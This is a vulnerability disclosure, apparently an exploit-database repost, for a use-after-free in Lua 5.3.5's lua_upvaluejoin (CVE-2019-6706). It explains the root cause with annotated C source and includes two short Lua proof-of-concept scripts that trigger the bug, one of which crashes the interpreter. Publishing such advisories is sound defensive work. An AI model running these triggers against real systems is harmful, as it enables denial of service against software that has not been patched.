Lua 5.3.5 Use-After-Free

Risk: High
Local: Yes
Remote: No
CWE: CWE-416

CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: None
Integrity impact: None
Availability impact: Partial

# Exploit Title: Lua 5.3.5 # Exploit Author: Fady Mohamed Osman ( # Exploit-db : # Blog : # Date: Jan. 10th 2019 # Vendor Homepage: # Software Link: # Version: 5.3.5 # CVE ID: CVE-2019-6706 During a fuzz session using "AFL", I found a heap use after free in lua 5.3.5, after analysis of the crash I found the root cause of the vulnerability, here's the details. The function `lua_upvaluejoin` in file lapi.c at line 1287 suffers from a use after free bug when supplied the same function for parameter f1 and f2 and the same upvalue index, additionally I found that the bug is only triggered when the upvalue is closed, this happens because the `luaC_upvdeccount` function found in file lgc.c at line 678 will decrement the refcount and then free the upvalue if the refcount is zero and if the upvalue is closed. See the comments below for more explanation. -------------- LUA_API void lua_upvaluejoin (lua_State *L, int fidx1, int n1, int fidx2, int n2) { LClosure *f1; UpVal **up1 = getupvalref(L, fidx1, n1, &f1); UpVal **up2 = getupvalref(L, fidx2, n2, NULL); luaC_upvdeccount(L, *up1); //Will delete up1 *up1 = *up2; //up1 is up2 because it's the same upvalue and now it's freed. (*up1)->refcount++; //up1 is freed, yet it's used here. if (upisopen(*up1)) (*up1)-> = 1; luaC_upvalbarrier(L, *up1); } -------------- - To trigger the bug simply use a lua program like this (this one will crash): -- f=load(function() end) interesting={} interesting[0]=string.rep("A",512) debug.upvaluejoin(f,1,f,1) --- - Another program that will not crash (unless you compile with -fsanitize=address): --- function w() local x = {} f = function() print(x) end end w() debug.upvaluejoin(f,2,f,2) --- If you want a fix you can use the patch provided here: Timeline: - Jan 10th 2019 : Vulnerability discovered and reported to lua mailing list. - Jan 23rd 2019 : CVE Identifier obtained. - Jan 25th 2019 : Fix is suggested by MatAj Cepl. Refrences:

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